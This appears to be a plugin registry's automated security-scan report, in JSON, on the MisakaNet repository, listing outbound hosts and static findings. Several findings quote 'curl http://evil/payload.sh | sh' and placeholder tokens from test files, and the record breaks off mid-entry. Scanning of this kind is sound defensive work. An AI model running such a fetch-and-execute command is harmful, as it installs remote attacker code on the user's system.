{"schemaVersion":2,"dataVersion":"20260822T105549Z-0a0b366f","generatedAt":"2026-08-22T10:55:49.138Z","source":{"id":"ikalus1988-misakanet","slug":"ikalus1988-misakanet","rank":29,"url":"https://github.com/Ikalus1988/MisakaNet","name":"Ikalus1988/MisakaNet","category":"memory","description":{"zh":"失败恢复记忆库：从真实工程会话中搜索和记录失败恢复教训，支持 BM25 + 语义 RAG 检索和知识库管理。","en":"Failure-recovery memory: search and record failure-recovery lessons from real engineering sessions, with BM25 + semantic RAG retrieval and a lessons knowledge base."},"stars":420,"starsCheckedAt":"2026-08-21","repository":{"owner":"Ikalus1988","repo":"MisakaNet","requestedRef":null,"subpath":""},"npm":null,"downloads":null,"installMode":"github-source","upstreamInstall":"dsh plugin --profile web add github:Ikalus1988/MisakaNet","tarball":null,"added":"2026-08-15","page":"https://awesome-dsh-plugin.com/p/Ikalus1988/MisakaNet/","screenshots":[],"discovery":{"provider":"awesome-dsh-plugin","channel":"plugins.json","indexUrl":"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin","selection":"all curated entries"}},"report":{"sourceId":"ikalus1988-misakanet","slug":"ikalus1988-misakanet","policyVersion":"HT-DSH-0.2.2","scannedAt":"2026-08-22T08:19:48.890Z","scanStatus":"static-complete","verdict":"caution","score":89,"commit":"dd175ef93401ee3c2c9ae2e36dd93ee4dcb9a893","commitDate":"2026-08-22T08:16:27Z","artifactDigest":"sha256:eea6c2b79d17770aca94b2a8c6e3e409ae5ec18c1f1c50164a931af0e5b0c22d","downloadUrl":"https://github.com/Ikalus1988/MisakaNet/archive/dd175ef93401ee3c2c9ae2e36dd93ee4dcb9a893.tar.gz","installMode":"github-source","installCommand":"dsh plugin --profile web add github:Ikalus1988/MisakaNet","manifest":{"found":true,"path":"package.json","parseError":null,"packageName":"misakanet","packageVersion":null,"bundle":{"patch":"./cordis.patch.yml"},"client":null,"lifecycleScripts":{},"peerDependencies":[]},"identity":{"status":"not-published","installMode":"github-source","upstreamNpm":null,"manifestName":"misakanet","nameMatch":null,"npm":null,"repositoryMatch":"not-checked","provenance":"not-checked","tarballHost":null},"permissions":{"bundlePatch":"cordis.patch.yml","inserts":[{"id":"misakanet","name":"misakanet","path":"cordis.patch.yml","disabled":false}],"overrides":[],"jsExpressions":0,"clientPlatform":null,"parseErrors":[]},"capabilities":["browser-ui","credentials","environment","filesystem","host-bundle","mcp","network","subprocess","telemetry"],"outboundHosts":[{"host":"api.github.com","count":20},{"host":"misakanet.org","count":11},{"host":"open.feishu.cn","count":2},{"host":"challenges.cloudflare.com","count":2},{"host":"discord.com","count":1},{"host":"api.llm.internal-gateway.cn","count":1},{"host":"api.minimax.chat","count":1},{"host":"api.openai.com","count":1},{"host":"www.sitemaps.org","count":1},{"host":"staging.example","count":1},{"host":"api.npmjs.org","count":1},{"host":"pypistats.org","count":1},{"host":"glama.ai","count":1},{"host":"claude.ai","count":1},{"host":"cursor.sh","count":1},{"host":"copilot.microsoft.com","count":1},{"host":"dash.cloudflare.com","count":1},{"host":"ikalus1988.github.io","count":1}],"findings":[{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"bench/phase-b/orchestrator.py","pathClass":"source","line":50,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"b7426448a8eab4c42a79fb4d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"bench/phase-b/orchestrator.py","pathClass":"source","line":59,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"b7426448a8eab4c42a79fb4d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"bench/self-healing/run_benchmark.py","pathClass":"source","line":79,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"176867c70e34214d5ea03a41"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"bench/self-healing/run_benchmark.py","pathClass":"source","line":92,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"176867c70e34214d5ea03a41"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"data/lessons.json","pathClass":"data","line":148,"evidence":"curl http://evil/payload.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"出现在数据文件中，可能是文本样本而非执行路径","hash":"9ad1c3fea2bc0ba0d001be5b"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"data/lessons.json","pathClass":"data","line":148,"evidence":"curl http://evil/payload.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"出现在数据文件中，可能是文本样本而非执行路径","hash":"9ad1c3fea2bc0ba0d001be5b"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"docs/data/lessons.json","pathClass":"test-example-docs","line":148,"evidence":"curl http://evil/payload.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"658e53447c0bffeee010fbb2"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"docs/data/lessons.json","pathClass":"test-example-docs","line":148,"evidence":"curl http://evil/payload.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"658e53447c0bffeee010fbb2"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/index.html","pathClass":"test-example-docs","line":2311,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"db0ca7c9417a3ceeb270970b"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/index.html","pathClass":"test-example-docs","line":2354,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"db0ca7c9417a3ceeb270970b"},{"id":"HT-CLIENT-002","title":"从第三方地址加载浏览器脚本","severity":"medium","confidence":"low","layer":"static","path":"docs/index.html","pathClass":"test-example-docs","line":15,"evidence":"<script src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.9/purify.min.js","remediation":"固定并随插件分发客户端依赖，或使用带 integrity 校验的受信任来源。","note":"来自公共 CDN cdnjs.cloudflare.com，未固定完整性哈希；位于测试、示例或文档目录","hash":"c5d248c62e94eecf64d35c4c"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/insights/lesson-coverage.html","pathClass":"test-example-docs","line":134,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"b14a24aae77e1126f38c2af4"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/insights/lesson-coverage.html","pathClass":"test-example-docs","line":144,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"b14a24aae77e1126f38c2af4"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/insights/pr-genius.html","pathClass":"test-example-docs","line":227,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"d8d9af24192bde98bd7abf21"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/insights/reputation-leaderboard.html","pathClass":"test-example-docs","line":114,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"61b9d9718ba338f9f51edede"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/insights/unsolved-map.html","pathClass":"test-example-docs","line":99,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"bce99723c7febf23de91c498"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/insights/unsolved-map.html","pathClass":"test-example-docs","line":124,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"bce99723c7febf23de91c498"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/journey/index.html","pathClass":"test-example-docs","line":289,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"位于测试、示例或文档目录","hash":"47f8f47f275571ce1165a8e5"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/journey/index.html","pathClass":"test-example-docs","line":318,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"位于测试、示例或文档目录","hash":"47f8f47f275571ce1165a8e5"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"docs/openclaw-pr/fatal-error-hooks-rawless.ts","pathClass":"test-example-docs","line":12,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"e97a7f4ab2dcfc7d0e246cda"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"docs/openclaw-pr/openclaw-fatal-hook-proof.mjs","pathClass":"test-example-docs","line":8,"evidence":"execSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"1eea42e605c063bb145a4da1"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"docs/openclaw-pr/openclaw-fatal-hook-proof.mjs","pathClass":"test-example-docs","line":8,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"d02c13488e392ba89895df2d"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/search/danmaku-widget.html","pathClass":"test-example-docs","line":52,"evidence":".innerHTML=","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"位于测试、示例或文档目录","hash":"9237449d60deeb824768fb7c"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/search/index.html","pathClass":"test-example-docs","line":469,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"位于测试、示例或文档目录","hash":"c6595ee550631d2b4be523c5"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"docs/search/index.html","pathClass":"test-example-docs","line":515,"evidence":".innerHTML =","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用；位于测试、示例或文档目录","hash":"c6595ee550631d2b4be523c5"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"integrations/continue/config.ts","pathClass":"source","line":1,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"001d431bc380843aa3f73b50"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"integrations/continue/config.ts","pathClass":"source","line":1,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"b2c36b2d92900ffb079bf68e"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/guard.py","pathClass":"source","line":139,"evidence":"subprocess.Popen","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"7d6b84ea5f98d09d349cd536"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/guard.py","pathClass":"source","line":203,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"2d372f66fa2e2068902ab266"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/profile.py","pathClass":"source","line":63,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"a22bd128754018e7706ea2c8"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/scripts/clean_pipeline.py","pathClass":"source","line":339,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"f983d1066358385264f1806a"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/scripts/draft_reminder.py","pathClass":"source","line":56,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"69cb6128b1a8880f0037a12c"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/scripts/feedback_report.py","pathClass":"source","line":315,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"5f0b24e8e9b3bd40e64ab79e"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/scripts/feedback_report.py","pathClass":"source","line":328,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"5f0b24e8e9b3bd40e64ab79e"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/scripts/queue_hook_stats.py","pathClass":"source","line":63,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"9aed2f74b0d4d03c35dfa690"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/scripts/queue_hook_stats.py","pathClass":"source","line":66,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"9aed2f74b0d4d03c35dfa690"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/scripts/skill_cron.py","pathClass":"source","line":14,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"f2987c926920a10b8fab54de"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"misakanet/scripts/standby_poller.py","pathClass":"source","line":48,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"b77034ba0bcaec2fec4e5e96"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"packages/fatal-guard/bin/fatal-guard.js","pathClass":"source","line":15,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"7590cf874d28e20b19ea8557"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"packages/fatal-guard/bin/fatal-guard.js","pathClass":"source","line":15,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"611a80023da3195a50a5b913"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"packages/fatal-guard/index.js","pathClass":"source","line":20,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"3920242d3f5b15b7f1d97578"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"packages/fatal-guard/register.js","pathClass":"source","line":25,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"15265204f75fc44ce40c4935"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/cli-contract.js","pathClass":"test-example-docs","line":5,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"c24d6d4db4fb6f998f7726ae"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/cli-contract.js","pathClass":"test-example-docs","line":5,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"e78d809582e1be452d222b57"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/crash-scenarios.js","pathClass":"test-example-docs","line":16,"evidence":"execSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"181faa9522f49920ae844eb9"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/crash-scenarios.js","pathClass":"test-example-docs","line":16,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"591d6613a194e283b25b7bd0"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/crash-scenarios.js","pathClass":"test-example-docs","line":86,"evidence":"ghp_abcdefghijklmnopqrstuvwxyz1234567890","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"1169b27dfcf399b38ee2bd7f"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/redact-compliance.js","pathClass":"test-example-docs","line":6,"evidence":"AKIA1234567890123456","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"f4374f91da67f0c30ce6fc25"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/redact-compliance.js","pathClass":"test-example-docs","line":7,"evidence":"ghp_abcdefghijklmnopqrstuvwxyz1234567890","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"a1cef34d7b53585b821d29cd"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/smoke.test.js","pathClass":"test-example-docs","line":5,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"91192954007dbc8d0cf9f9ce"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/verify-fix.js","pathClass":"test-example-docs","line":19,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"2a0700029f66378aed26d7f8"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"packages/fatal-guard/tests/windows-compat.test.js","pathClass":"test-example-docs","line":5,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"be41bf340719c74740b0d36a"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/backfill_timestamps.py","pathClass":"source","line":24,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"6cb35cb55df844fce950691f"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/backfill_timestamps.py","pathClass":"source","line":34,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"6cb35cb55df844fce950691f"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/bench_orchestrator.py","pathClass":"source","line":216,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"ee81f8e935379c10eaf18179"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/build_feed.py","pathClass":"source","line":47,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"5de11698d9256c88dd7e7962"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/build_feed.py","pathClass":"source","line":65,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"5de11698d9256c88dd7e7962"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/contribute.py","pathClass":"source","line":38,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"ec15261476309666140f50e3"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/create_issue.py","pathClass":"source","line":20,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"32b163ab79b5f602339e8654"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/dco_benchmark.py","pathClass":"source","line":33,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"26a41e1b483985ffcd3c33f5"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/dco_benchmark.py","pathClass":"source","line":56,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"26a41e1b483985ffcd3c33f5"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/gen_changelog.py","pathClass":"source","line":41,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"9b43ef53513b12693d292e85"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/gen_changelog.py","pathClass":"source","line":62,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"9b43ef53513b12693d292e85"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/lesson_reuse_agent.py","pathClass":"source","line":28,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"c0c373215b4b5c82100209ef"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/maintainer_review_queue.py","pathClass":"source","line":38,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"9fb845240bcb4503dafd2333"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/mcp_http_server.py","pathClass":"source","line":261,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"61075977747c74db4f5e3f8d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/misaka_run.py","pathClass":"source","line":36,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"62d1455cf37788b7291b4719"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/misaka_run.py","pathClass":"source","line":102,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"62d1455cf37788b7291b4719"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/misaka_verify.py","pathClass":"source","line":67,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"f6dfd9abd5df5c0deee8f0b6"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/push_via_api.py","pathClass":"source","line":10,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"a18c05f32cac060bd9427e4d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/push_via_api.py","pathClass":"source","line":30,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"a18c05f32cac060bd9427e4d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/queue_lesson.py","pathClass":"source","line":58,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"175cfaf2ca599504541a7ad2"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/queue_lesson.py","pathClass":"source","line":202,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"175cfaf2ca599504541a7ad2"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/referral.py","pathClass":"source","line":41,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"aaa2bc757020a1574bc13490"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/reputation.py","pathClass":"source","line":104,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"df5981a5047cafbbd632b725"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/setup.py","pathClass":"source","line":26,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"1d0dbc1e58c0a8eed0cabbbb"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/setup.py","pathClass":"source","line":163,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"1d0dbc1e58c0a8eed0cabbbb"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/submit_lesson.py","pathClass":"source","line":232,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"397f8015be75bdb471206cec"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/submit_lesson.py","pathClass":"source","line":241,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 